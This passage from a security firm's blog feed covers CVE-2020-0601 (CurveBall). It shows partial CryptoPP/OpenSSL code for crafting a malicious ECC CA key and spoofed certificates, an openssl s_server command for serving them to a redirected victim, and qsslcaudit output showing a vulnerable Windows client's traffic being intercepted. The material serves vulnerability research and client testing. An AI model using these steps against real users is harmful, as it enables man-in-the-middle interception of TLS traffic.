#008000;">&#40;</span>CryptoPP<span style="color: #008080;">::</span><span style="color: #007788;">byte</span> <span style="color: #000040;">*</span><span style="color: #008000;">&#41;</span>outEvilPrivKeyPKCS8, maxSizePKCS8<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; evilPrivKey.<span style="color: #007788;">Save</span><span style="color: #008000;">&#40;</span>evilPrivKeyPKCS8As.<span style="color: #007788;">Ref</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> &nbsp; &nbsp; <span style="color: #000040;">*</span>outEvilPrivKeyPKCS8Len <span style="color: #000080;">=</span> evilPrivKeyPKCS8As.<span style="color: #007788;">TotalPutLength</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> <p>Now we can proceed with certificates generation.</p> <h3><a id="user-content-crafting-certificates" href="#crafting-certificates" name="crafting-certificates" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Crafting certificates</h3> <p>At first we have to deal with keys format issues. CryptoPP returns elliptic-curve private key in PKCS8 format (see <a rel="noopener noreferrer" target="_blank" href="https://www.cryptopp.com/wiki/Keys_and_Formats">https://www.cryptopp.com/wiki/Keys_and_Formats</a>). In theory it should be understood by OpenSSL and other libraries but in practice there is one caveat. This key we crafted defines a custom curve which is not in the standard list of supported curves. When a library tries to parse such key it fails to create internal structures describing the curve and produces an error.</p> <p>We found a set of OpenSSL API calls which allowed us to have a valid key in OpenSSL internal format. We also noticed that some OpenSSL versions have implementation errors which result in perfectly fine operations (no errors returned) but invalid TLS certificates as a result.</p> <p>Overall, we convert CrytoPP's private key into PEM format in the <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L48">following</a> way:</p> <div class="geshifilter"><div class="cpp geshifilter-cpp" style="font-family:monospace;">&nbsp; &nbsp; pkey <span style="color: #000080;">=</span> d2i_PrivateKey_bio<span style="color: #008000;">&#40;</span>bioIn, <span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br /> ...<br /> &nbsp; &nbsp; <span style="color: #007788;">PEM_write_bio_PrivateKey</span><span style="color: #008000;">&#40;</span>bioOut, pkey, <span style="color: #0000ff;">NULL</span>, <span style="color: #0000ff;">NULL</span>, <span style="color: #0000dd;">0</span>, <span style="color: #0000ff;">NULL</span>, <span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></div> Nothing special, but it consumed quite some time to find the proper calls. <p>Now we are ready to create a custom CA certificate with the same serial number as the provided one. This is <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L156">implemented</a> by <code>genSignedCaCertWithSerial()</code> function. To sign the certificate we use previously crafted malicious private key. When forming the CA certificate it was essential to be careful about the set of X509 fields to fill, serial number format and the set of X509v3 extensions.</p> <p>The last step is to generate a certificate for the desired common name. It was a straightforward procedure without any quirks or workarounds. It is <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc/blob/b182f270390fd370867f0f7c63aa55c77ee600ce/openssl-helper.cpp#L269">implemented</a> by <code>genSignedCertForCN()</code> function.</p> <p>After all we obtain the following certificates which can be used to validate the issue:</p> <ul> <li>Evil CA certificate.</li> <li>Target host certificate.</li> <li>Target host private key.</li> </ul> <h3><a id="user-content-exploitation" href="#exploitation" name="exploitation" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Exploitation</h3> <p>The proof of concept mentioned here, <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/cve-2020-0601_poc">cve-2020-0601_poc</a>, accepts a single parameter as input: a path to CA certificate. This certificate has to be signed using ECC algorithm.</p> <p>The PoC saves several certificates as files in its working directory:</p> <ul> <li> <code>test-cve_evil-ca.crt</code>. Evil CA certificate. PEM format.</li> <li> <code>test-cve_evil-privkey.key</code>. Evil CA private key. PEM format.</li> <li> <code>test-cve_evil-privkey-pk8.key</code>. Evil CA private key. PKCS8 DER format.</li> <li> <code>test-cve_host-cert.crt</code>. Target host certificate. PEM format.</li> <li> <code>test-cve_host-privkey.key</code>. Target host private key. PEM format.</li> </ul> <p>The tool is hardcoded to produce certificates for &quot;example.com&quot; common name.</p> <p>OpenSSL's <code>s_server</code> can be fed with the produced certificates as follows:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443</div></div> <p>Redirect the victim (vulnerable OS) to the desired socket and if all goes well, the TLS client (browser) will not emit certificate validation error.</p> <p>The result should look like this one:</p> <p><img src="https://github.com/gremwell/cve-2020-0601_poc/raw/master/screen1.png" alt="example.com spoofing" /></p> <p>Please note that it is required to have the legitimate CA certificate using ECC in the operating system cache. This can be achieved by redirecting a victim to a legitimate TLS server which uses a certificate signed by the certificatee authority of our choice.</p> <h3><a id="user-content-qsslcaudit" href="#qsslcaudit" name="qsslcaudit" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>qsslcaudit</h3> <p>A test for this vulnerability was added to our tool for assessing SSL/TLS clients implementation, <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a>. See the corresponding <a href="https://www.gremwell.com/node/950">announcement</a> and <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit#cve-2020-0601">section</a> in the tool's README file.</p> <p>CVE-2020-0601 test implemented in <code>qsslcaudit</code> allows a security researcher to have everything in one place: malicious certificate generation for arbitrary domains, TLS server and clear description of the intercepted connection.</p> <h2><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> <p>This particular vulnerability grabbed our attention because, being an issue in client-side TLS implementation, it should fit perfectly as one of the <code>qsslcaudit</code>'s tests. We started to work on it in early February 2020 thinking &quot;ah, okay, there are articles published, proof of concepts written, we have a tool which does the heavy lifting, so just create a slightly modified private key and you will be good to go&quot;. Nope. Not that easy.</p> <p>Trying to fit a proof of concept into a product is not just copy-pasting from Github repository. It requires having a piece of code implemented without any hardcoded parameters and not relying on any specifics. It should handle arbitrary input parameters to produce the desired output. Finally, it has to be compliant with the chosen programming language and libraries.</p> <p>It turned out that working with elliptic curve parameters at a low level is not well supported by TLS libraries we used (GNUTLS and OpenSSL). Moreover, even if you just provide a ready-made private key to these libraries they refused to work due to non-standard curves. We had to find an alternative way to work with ECC. This was <a rel="noopener noreferrer" target="_blank" href="https://cryptopp.com/">CryptoPP</a> library.</p> <p>Adding another library to your project (especially if it is written in C/C++) can be a huge pain in itself. Luckily in this case it was not that problematic, but another problem arose: it was not straightforward to convert ideas from blog posts or practical implementations into the particular library calls. We had to truly understand the issue, the theory behind it.</p> <p>Fighting with OpenSSL to generate proper certificates took another set of working days. It was really frustrating to spend time on that as it is not related to the issue itself and was about digging through obscure code and bad documentation. Not mentioning bugs in outdated versions we were experimenting with.</p> <p>As a result, it took several working days to get a fully working proof of concept and only one hour to integrate it into <code>qsslcaudit</code>.</p> <p>The CVE-2020-0601 vulnerability is also interesting from a completely different perspective: how was it discovered ? Once you understand the issue and its root cause you immediately spot this potentially weak point: curve parameters which can be customised and controlled by another party of TLS handshake. Was it discovered like this ? By reading standards, creating hypothesis, writing tools, testing various implementations ? Or was it a careful study of disassembled <code>crypto32.dll</code> ? Even if we do not know the answer we can still learn from it.</p> <p>Happy studying. :-)</p></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Wed, 02/26/2020 - 14:25</span> Wed, 26 Feb 2020 13:25:27 +0000 pavel 951 at https://www.gremwell.com qsslcaudit release v0.8.1, CVE-2020-0601 test included https://www.gremwell.com/blog/qsslcaudit-adds-test-for-curveball <span>qsslcaudit release v0.8.1, CVE-2020-0601 test included</span> <div><p>This is a new release of our tool designed to assess TLS clients security (certificates validation, protocols and ciphers support): <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit/releases/tag/v0.8.1">v0.8.1</a>.</p> <p>The corresponding packages for various Ubuntu versions are prepared in <code>ppa:gremwell/qsslcaudit</code>. Packaging for Kali is handled by Kali maintainers.</p> <p>The single feature has been added: support of assessing clients vulnerable to <a rel="noopener noreferrer" target="_blank" href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601">CVE-2020-0601</a> (<code>the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates</code>).</p> <p>Please note that testing a client for such issue is not straightforward. It requires understanding on what is being tested as well as making some preparation. More on <code>qsslcaudit</code> usage is in <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit#cve-2020-0601">README</a>.</p> <p>Consider the following example which demonstrates successful traffic interception against vulnerable Windows build:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --selected-tests 29 --user-ca-cert ./USERTrustECCCertificationAuthority.crt --user-cn example.com<br /> preparing selected tests...<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> running test #29: test for trusting certificate signed by private key with custom curve<br /> listening on 0.0.0.0:443<br /> connection from: 127.0.0.1:52454<br /> SSL connection established<br /> received data: GET / HTTP/1.1<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br /> Accept-Language: en-BE<br /> Upgrade-Insecure-Requests: 1<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362<br /> Accept-Encoding: gzip, deflate, br<br /> Host: example.com<br /> Connection: Keep-Alive<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> | 29 | CVE-2020-0601 ECC cert trust &nbsp; &nbsp; &nbsp; | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 127.0.0.1<br /> dtls?: false<br /> ssl errors:<br /> ssl conn established?: true<br /> intercepted data: GET / HTTP/1.1<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br /> Accept-Language: en-BE<br /> Upgrade-Insecure-Requests: 1<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362<br /> Accept-Encoding: gzip, deflate, br<br /> Host: example.com<br /> Connection: Keep-Alive<br /> <br /> <br /> received data, bytes: 722<br /> transmitted data, bytes: 1698<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA256:TLS_RSA_WITH_AES_128_CBC_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA<br /> SNI: example.com<br /> ALPN: h2, http/1.1<br /> <br /> qsslcaudit version: 0.7.1-snapshot</div></div></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Tue, 02/25/2020 - 12:39</span> Tue, 25 Feb 2020 11:39:07 +0000 pavel 950 at https://www.gremwell.com